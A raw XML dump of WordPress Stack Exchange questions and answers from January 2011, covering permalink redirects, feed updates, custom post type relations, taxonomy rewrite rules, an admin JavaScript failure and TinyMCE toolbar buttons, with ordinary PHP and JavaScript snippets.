  <row Id="6603" PostTypeId="2" ParentId="1033" CreationDate="2011-01-09T00:44:37.163" Score="0" ViewCount="" Body="&lt;p&gt;I've come back to this project after not working on it for a while and this is what I've got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so as with my previous examples where I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/product-name/changelog&#xA;mysite.com/another-product/changelog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;those are posts (of type changelog) and the actual slug is product-name-changelog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use the Redirection plugin to do a pass through from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;​/([a-zA-Z0-9-]*)​/changelog​/$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/$1-changelog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it ends up redirecting as a 301 to mysite.com/product-name-changelog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried hooking to wp_redirect and canonical_redirect so I could try stop the redirect but without any luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what else to try?&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2011-01-09T00:44:37.163" />
  <row Id="6604" PostTypeId="1" CreationDate="2011-01-09T01:44:08.157" Score="0" ViewCount="143" Body="&lt;p&gt;My WordPress installation was working quite well, however it recently stopped properly updating feeds when new posts are published. I may have deleted a tranistent feed table using the Clean Options WordPress plugin. I don't know if that's the cause, but I can force it to update by changing one of the Feed settings manually each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it working properly again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2011-04-02T09:39:08.290" Title="My WordPress installation isn't updating the feed when a new post is published" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6605" PostTypeId="1" AcceptedAnswerId="6610" CreationDate="2011-01-09T04:21:26.350" Score="0" ViewCount="138" Body="&lt;p&gt;Is it possible to fetch videos and images of a particular website and put it into post?&#xA;i mean i am thinking of writing a function, where i will just write the website name, and then with the help of website url, all or latest images and videos are posted to my post.&#xA;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-01-09T16:45:42.697" Title="fetch images and videos" Tags="&lt;images&gt;&lt;functions&gt;&lt;videos&gt;" AnswerCount="2" />
  <row Id="6606" PostTypeId="2" ParentId="6404" CreationDate="2011-01-09T04:49:45.467" Score="0" ViewCount="" Body="&lt;p&gt;I have partly solved my own question so-to-speak. I've been trying to get post type relationships working for ages and the plugin relation post types as mentioned in my comment to Christopher's answer. It is far from perfect, but I worked out how to get this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/relation-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/relation-post-types/&lt;/a&gt; - working (albeit not that pretty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will fetch a homepage carousel item and then an associated artist name. This can be modified to get related post meta as well. I wanted to use Scribu's posts 2 posts plugin, but couldn't work out how to use it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$carousels = get_posts(array('post_type' =&amp;gt; 'homepage_carousel'));  &#xA;$counter   = count($carousels);&#xA;$increment = 0;&#xA;foreach($carousels as $carousel):&#xA;    $image = wp_get_attachment_image_src( get_post_thumbnail_id( $carousel-&amp;gt;ID ), 'large' );&#xA;    $related_ids = rpt_get_object_relation($carousel-&amp;gt;ID, array('artists'));&#xA;    foreach ($related_ids as $related_id) {&#xA;        $related_post[] = get_post($related_id);   &#xA;    }&#xA;&amp;lt;li style=&quot;background: transparent url(&amp;lt;?php echo $image[0]; ?&amp;gt;) no-repeat;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;carousel_content&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;large_heading&quot;&amp;gt;&amp;lt;?php echo $related_post[$increment]-&amp;gt;post_title; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;carousel_meta&quot;&amp;gt;&#xA;        &amp;lt;?php if (get_post_meta($carousel-&amp;gt;ID, 'learn_more_link', true)): ?&amp;gt;&#xA;            &amp;lt;?php $link = true; ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($carousel-&amp;gt;ID, 'learn_more_link', true); ?&amp;gt;&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if (get_post_meta($carousel-&amp;gt;ID, 'buy_cd_link', true)): ?&amp;gt;&#xA;            &amp;lt;?php $link2 = true;  ?&amp;gt;&#xA;            &amp;lt;?php if ($link): ?&amp;gt; | &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($carousel-&amp;gt;ID, 'buy_cd_link', true); ?&amp;gt;&quot;&amp;gt;Buy CD&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if (get_post_meta($carousel-&amp;gt;ID, 'buy_mp3_link', true)): ?&amp;gt; &#xA;        &amp;lt;?php if ($link2 || $link): ?&amp;gt; | &amp;lt;?php endif; ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($carousel-&amp;gt;ID, 'buy_mp3_link', true); ?&amp;gt;&quot;&amp;gt;Buy MP3&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see this is very hacky and by no means a definitive solution. It worked for me, but I am still unhappy with how the above code works. To get associated post meta it would need more code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is no answer, should this perhaps become a wiki more than a question perhaps? As the solutions listed here will not always be current as Wordpress is constantly evolving and new plugins being released.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-09T04:49:45.467" />
  <row Id="6607" PostTypeId="2" ParentId="6574" CreationDate="2011-01-09T04:53:47.460" Score="1" ViewCount="" Body="&lt;p&gt;I've had good luck with using &lt;a href=&quot;http://www.freelancer.com&quot; rel=&quot;nofollow&quot;&gt;Freelancer.com&lt;/a&gt;. Elance although probably better I find is overly complicated for a freelancing website.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-09T04:53:47.460" />
  <row Id="6608" PostTypeId="2" ParentId="6574" CreationDate="2011-01-09T05:42:50.493" Score="1" ViewCount="" Body="&lt;p&gt;I've found a lot of good help at &lt;a href=&quot;http://rentacoder.com&quot; rel=&quot;nofollow&quot;&gt;http://rentacoder.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free and a little less controlled than other networks, but I find it easier to find the kind of guys I'm looking for there, personally. Elance is a lot of hassle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like odesk and 99designs (if you happen to be looking for theme design/implementation)&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-01-09T05:42:50.493" />
  <row Id="6609" PostTypeId="1" AcceptedAnswerId="6632" CreationDate="2011-01-09T06:20:26.947" Score="1" ViewCount="162" Body="&lt;p&gt;I just wrote a little plugin that detects if the user is on a mobile browser and if so detects them away from the WordPress site to a mobile (simple) version of part of the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I got to thinking I'm redirecting user who may want to see the full site. I can easily add a check by creating a URL such as &lt;code&gt;http://example.org?force_web=true&lt;/code&gt; The only problem is my plugin checks the top of each page to see if it's mobile so I would need to set &lt;code&gt;force_web=true&lt;/code&gt; on all pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other idea would be to use sessions but it seems WordPress doesn't support sessions unless you add &lt;code&gt;session_start();&lt;/code&gt; to your &lt;code&gt;wp_config.php&lt;/code&gt; file which I don't want to ask the plugin users to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something others have experienced? Is the best way to re-write all permalinks with the addition of my variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open to ideas and suggestions&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-01-09T23:08:11.470" Title="Append varible to url or set session" Tags="&lt;plugin-development&gt;&lt;permalinks&gt;&lt;plugins&gt;&lt;variables&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6610" PostTypeId="2" ParentId="6605" CreationDate="2011-01-09T06:25:40.573" Score="3" ViewCount="" Body="&lt;p&gt;The problem with this is that each sites content is formated differently. If there was only one site you were wanting to pull from you maybe able to use curl() and then sort though the content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better idea may be to grab content from the sites RSS feed and sort though and grab what you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably write a quick plugin that would either grab the feedurl of the site and display images or you enter the feed url and it displays content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also just a friendly reminder about copyright and being mindful of the content you're pulling ;)&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-01-09T06:25:40.573" CommentCount="5" />
  <row Id="6611" PostTypeId="2" ParentId="3331" CreationDate="2011-01-09T09:56:25.577" Score="0" ViewCount="" Body="&lt;p&gt;I think at the end of the day to ensure forward compatibility and self-sufficiency, you should consider adding &lt;strong&gt;custom post types&lt;/strong&gt;. It'd take a little work to weave the taxonomies into it in the form of teams, seasons, etc., but I believe it's all manageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-09T09:56:25.577" />
  <row Id="6612" PostTypeId="2" ParentId="6342" CreationDate="2011-01-09T10:01:38.987" Score="1" ViewCount="" Body="&lt;p&gt;Rewriting the slug (-&gt; to empty) within the taxonomy registration won't work so I'm not sure what other options you have within WordPress. You'll probably need to modify the &lt;strong&gt;.htaccess&lt;/strong&gt; directly to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a word of caution to this permalink setup; Otto describes the issue quite well here: &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-09T10:01:38.987" />
  <row Id="6613" PostTypeId="2" ParentId="6581" CreationDate="2011-01-09T10:09:40.183" Score="0" ViewCount="" Body="&lt;p&gt;Do you have &lt;code&gt;wp_reset_query()&lt;/code&gt;; at the bottom of your single post/page? I'm assuming that the previous query is flowing over into your widget query and that the reset mentioned above is missing from the single template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-09T10:09:40.183" CommentCount="4" />
  <row Id="6614" PostTypeId="2" ParentId="6557" CreationDate="2011-01-09T11:25:12.253" Score="2" ViewCount="" Body="&lt;p&gt;When I was looking into the same matter, I found this article to be quite interesting (Chris is right on the money, though an additional resource doesn't hurt :) ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-09T11:25:12.253" />
  <row Id="6615" PostTypeId="2" ParentId="6514" CreationDate="2011-01-09T11:26:58.243" Score="1" ViewCount="" Body="&lt;p&gt;I am a big fan of Contact Form 7, contactform7.com, a free plugin. There are add-on modules that can store form submissions in a database.&lt;/p&gt;&#xA;" OwnerUserId="2394" LastActivityDate="2011-01-09T11:26:58.243" />
  <row Id="6616" PostTypeId="2" ParentId="3331" CreationDate="2011-01-09T13:03:56.000" Score="1" ViewCount="" Body="&lt;p&gt;I asked a similar question, well sort of similar. Basically I wanted to create custom post types with the ability to relate one or more post types to other post types. Here is an example as to what I mean. You can decide if you want to go this route or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system that handles employee's for a mega corporation called MegaCorp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;We have the key required components&lt;/strong&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Projects&lt;br&gt;&#xA;Employee's&lt;br&gt;&#xA;Tasks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An employee can belong to multiple projects. A project can have multiple tasks, but a task can only belong to one project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this it how it could work. Using a plugin like Custom Post Types UI or one of the many others you would create the above components as post types. I prefer the plugin &lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;Easy Post Types&lt;/a&gt; but they all do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now want to download this plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/relation-post-types/&quot; rel=&quot;nofollow&quot;&gt;Relation Post Types&lt;/a&gt;. There is another and better plugin called Posts 2 Posts by Scribu but unfortunately I couldn't work out how to use it, a bad day perhaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now under settings in the Wordpress admin on the left hand side navigation you should see Relations as a sub-menu item. Set up what post types use what and then go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside to using Relation Post Types is that documentation is very VERY ambiguous, well more like non-existent. But basically to use it you merely calla function which will get the associated post ID's and then you can use get_posts($post_id) to fetch the related post info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is: rpt_get_object_relation(postid, array('posttypeshere')); in one of my current projects I am using it the following way: $related_ids = rpt_get_object_relation($carousel-&gt;ID, array('artists')); (inside of a foreach loop) and it seems to get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this goes beyond you asked for, but I believe it can help. You're basically wanting to set up multiple post types and then associate one or more with one another.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-09T13:03:56.000" />
  <row Id="6617" PostTypeId="2" ParentId="6342" CreationDate="2011-01-09T14:49:55.243" Score="1" ViewCount="" Body="&lt;p&gt;I think this is possible, but you will need to keep an eye on the order of the rewrite rules. To help you with this I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;a plugin I wrote to analyze the rewrite rules&lt;/a&gt; (soon available in the repository, but you can &lt;a href=&quot;http://dl.dropbox.com/u/7057637/monkeyman-rewrite-analyzer.zip&quot; rel=&quot;nofollow&quot;&gt;download a pre-release&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, these rules are quite generic, and should thus come at the end of the rules list. The default action is to put them at the top, so we prevent the default and add them ourselves. We already have the generic page rules at the bottom, so we should make them explicit and move them to the top by enabling &lt;em&gt;verbose page rules&lt;/em&gt;. This is not efficient when you have lots of pages, but I don't think there is another way to do it now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse6342_init' );&#xA;function wpse6342_init()&#xA;{&#xA;    // Register your taxonomy. `'rewrite' =&amp;gt; false` is important here&#xA;    register_taxonomy( 'wpse6342', 'post', array(&#xA;        'rewrite' =&amp;gt; false,&#xA;        'label' =&amp;gt; 'WPSE 6342',&#xA;    ) );&#xA;&#xA;    // Enable verbose page rules, so all pages get explicit and not generic rules&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;use_verbose_page_rules = true;&#xA;}&#xA;&#xA;add_action( 'generate_rewrite_rules', 'wpse6342_generate_rewrite_rules' );&#xA;function wpse6342_generate_rewrite_rules( &amp;amp;$wp_rewrite )&#xA;{&#xA;    // This code is based on the rewrite code in `register_taxonomy()`&#xA;&#xA;    // This rewrite tag (%wpse6342%) is just a placeholder to use in the next line&#xA;    // 'wpse6342=` should be the same as the `query_var` when registering the taxonomy&#xA;    //    which is the name of the taxonomy by default&#xA;    // `(.+?)` works for a hierarchical taxonomy&#xA;    $wp_rewrite-&amp;gt;add_rewrite_tag( '%wpse6342%', '(.+?)', 'wpse6342=' );&#xA;    // This will generate the actual rewrite rules, and put the at the end of the list&#xA;    $wp_rewrite-&amp;gt;rules += $wp_rewrite-&amp;gt;generate_rewrite_rules( $wp_rewrite-&amp;gt;front . '%wpse6342%', EP_NONE );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-09T14:49:55.243" />
  <row Id="6618" PostTypeId="1" AcceptedAnswerId="6694" CreationDate="2011-01-09T15:51:19.207" Score="0" ViewCount="312" Body="&lt;p&gt;I have created a form within a Meta Box on the 'Add New Page' screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the data from this form to be sent to an OData service on a central server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that OData is supported on PHP (&lt;a href=&quot;http://odataphp.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;http://odataphp.codeplex.com/&lt;/a&gt;) but it requires the &lt;strong&gt;OData for PHP SDK&lt;/strong&gt; to be installed on the server. Because the server could be Windows/UNIX/LINUX/other I don't know if I can create a generic installation file to make it transparent for the user to install my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best method of doing this?&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="739" LastEditorDisplayName="" LastEditDate="2011-01-10T20:08:16.263" LastActivityDate="2011-01-11T00:41:41.233" Title="How to send form data from WordPress (Meta Box) to an OData service?" Tags="&lt;php&gt;&lt;form&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="6619" PostTypeId="2" ParentId="6605" CreationDate="2011-01-09T16:03:01.080" Score="3" ViewCount="" Body="&lt;p&gt;ntechi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question in the comment above (&quot;&lt;em&gt;is it possible i take it from google? for example in google images if i type &quot;Apple&quot; then i get images of apple, but in such a way, that this apple wont be typed in google but into my dashboard, and it will go to google and display it on my blog is this possible?&lt;/em&gt;&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The answer is more than likely &quot;no&quot;.&lt;/strong&gt; This wouldn't be from a technical aspect but a legal one.&#xA;You can't be aware of all the laws regarding copyright with the websites you are grabbing the images from (depends on what rights they provide, where they are located in the world, where the server is located, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you hotlink you may get a default &quot;don't hotlink&quot; image (which defeats the purpose) and if you do copy the image over, you could be violating even more laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I don't have a better response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastEditorUserId="2393" LastEditorDisplayName="" LastEditDate="2011-01-09T16:45:42.697" LastActivityDate="2011-01-09T16:45:42.697" />
  <row Id="6620" PostTypeId="1" CreationDate="2011-01-09T16:11:33.987" Score="0" ViewCount="409" Body="&lt;p&gt;I am using the latest Wordpress.org install. None of my back-end javascript is working, none of my navigation drop downs, admin panel areas are not loading as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have not edited any core files.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to disable all my plugins, even moved them from the plugin directory to see if there is a conflict. No luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use different themes. No Luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way that I can edit posts/pages is if I highlight the text that's in the post (see screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a few jquery scripts to my themes header.php file, tried to take those out as well, didn't work. Tried switching themes, didn't work. The only theme file that I've touched otherwise was functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a local machine using WAMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, THANK YOU!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCREENSHOTS: &#xA;&lt;img src=&quot;http://i.stack.imgur.com/30ebS.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/t6Qvs.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1972" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-08T20:11:11.613" LastActivityDate="2011-08-09T06:21:25.837" Title="Admin panel: Javascript not loading properly. Cannot edit pages/posts" Tags="&lt;wp-admin&gt;&lt;jquery&gt;&lt;pages&gt;&lt;javascript&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6621" PostTypeId="2" ParentId="6620" CreationDate="2011-01-09T16:31:16.270" Score="0" ViewCount="" Body="&lt;p&gt;Replace the &lt;strong&gt;wp-admin&lt;/strong&gt; and &lt;strong&gt;wp-include&lt;/strong&gt; folders only with fresh copies from a zip of WordPress, matching version of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like a corrupt or missing file in one of the above folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if the above doesn't help, switch themes(only temporarily) to determine if the problem is theme related.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-09T16:31:16.270" CommentCount="10" />
  <row Id="6622" PostTypeId="1" AcceptedAnswerId="6624" CreationDate="2011-01-09T17:25:13.027" Score="1" ViewCount="1076" Body="&lt;p&gt;I want to add a custom button to the tinyMCE toolbar in the 'Add New Post' screen which when clicked, will insert text into the new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using this code (from &lt;a href=&quot;http://tinymce.moxiecode.com/tryit/custom_toolbar_button.php&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/tryit/custom_toolbar_button.php&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_admin_css('thickbox');&#xA;wp_print_scripts('jquery-ui-core');&#xA;wp_print_scripts('jquery-ui-tabs');&#xA;wp_print_scripts('post');&#xA;wp_print_scripts('editor');&#xA;add_thickbox();&#xA;wp_print_scripts('media-upload');&#xA;setup : function(ed)&#xA;{&#xA;    // Add a custom button&#xA;    ed.addButton('mybutton', &#xA;    {&#xA;        title : 'My button',&#xA;        image : 'img/example.gif',&#xA;        onclick : function() &#xA;        {&#xA;        // Add you own code to execute something on click&#xA;        ed.focus();&#xA;        ed.selection.setContent('Hello world!');&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it fails to compile. It error's at the line with '&lt;strong&gt;setup : function(ed)&lt;/strong&gt;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it failing because I need to reference tinyMCE.js? I couldn't find that file under my WordPress installation on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a better way of creating the button?&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2011-08-22T16:21:08.813" Title="How to add a custom button to the tinyMCE toolbar?" Tags="&lt;posts&gt;&lt;tinymce&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6623" PostTypeId="2" ParentId="6541" CreationDate="2011-01-09T17:25:40.020" Score="2" ViewCount="" Body="&lt;p&gt;It's actually quite easy to create your own TinyMCE instance, it's really only problematic when trying to render additional(and differing) instances on a page where one exists already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following blog covers all the necessary information for creating a TinyMCE instance in a WordPress plugin, but could just as easily be applied to an existing admin page, such as the category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.keighl.com/2010/01/tinymce-in-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://www.keighl.com/2010/01/tinymce-in-wordpress-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only differing factor for your usage would be this line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_print_scripts&quot;, &quot;js_libs&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't think why anyone would ever want to enqueue tinymce across every admin page, so i'd recommend changing that line regardless and hooking it to the required page. For the category page, off the top of my head you could use something along the lines of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_print_scripts-edit-tags.php&quot;, &quot;js_libs&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest is pretty self evident but if there's something you're unclear on(RE: Creating a TinyMCE instance), post a comment to this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find some previous TinyMCE related discussion here.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/q/436/1468&quot;&gt;Is there a way to get N number of WYSIWYG editors in a custom post type?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-09T17:25:40.020" />
  <row Id="6624" PostTypeId="2" ParentId="6622" CreationDate="2011-01-09T17:43:49.090" Score="4" ViewCount="" Body="&lt;p&gt;Your problem i believe are the lines that follow the enqueues and print scripts, you're mixing Javascript with PHP..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Javascript goes inside the HTML section of a PHP file or inside an echo statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/TinyMCE_Custom_Buttons&quot; rel=&quot;nofollow&quot;&gt;This page of the codex&lt;/a&gt; gives an example for adding a button to TinyMCE inside WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that codex entry might be a bit dated, so in the event of problems with the code here are some alternative code samples to work from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brettterpstra.com/adding-a-tinymce-button/&quot; rel=&quot;nofollow&quot;&gt;http://brettterpstra.com/adding-a-tinymce-button/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/4413470/how-to-add-a-mailto-button-to-tinymce&quot;&gt;http://stackoverflow.com/questions/4413470/how-to-add-a-mailto-button-to-tinymce&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE: Code problems&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside a PHP file, HTML goes between the ending and starting PHP blocks, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;example&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively inside an echo statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;div&amp;gt;example&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Javascript should be treated in the same manner as HTML, so you above code(the JS part) should look either like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;setup : function(ed)&#xA;{&#xA;     // Add a custom button&#xA;     ed.addButton('mybutton', &#xA;     {&#xA;          title : 'My button',&#xA;          image : 'img/example.gif',&#xA;          onclick : function() &#xA;          {&#xA;          // Add you own code to execute something on click&#xA;          ed.focus();&#xA;          ed.selection.setContent('Hello world!');&#xA;     }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&#xA;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&#xA;setup : function(ed)&#xA;{&#xA;     // Add a custom button&#xA;     ed.addButton('mybutton', &#xA;     {&#xA;          title : 'My button',&#xA;          image : 'img/example.gif',&#xA;          onclick : function() &#xA;          {&#xA;          // Add you own code to execute something on click&#xA;          ed.focus();&#xA;          ed.selection.setContent('Hello world!');&#xA;     }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The former being the easier approach in my opinion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that answers your question, and if you need help understanding something let me know..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-09T17:43:49.090" CommentCount="2" />
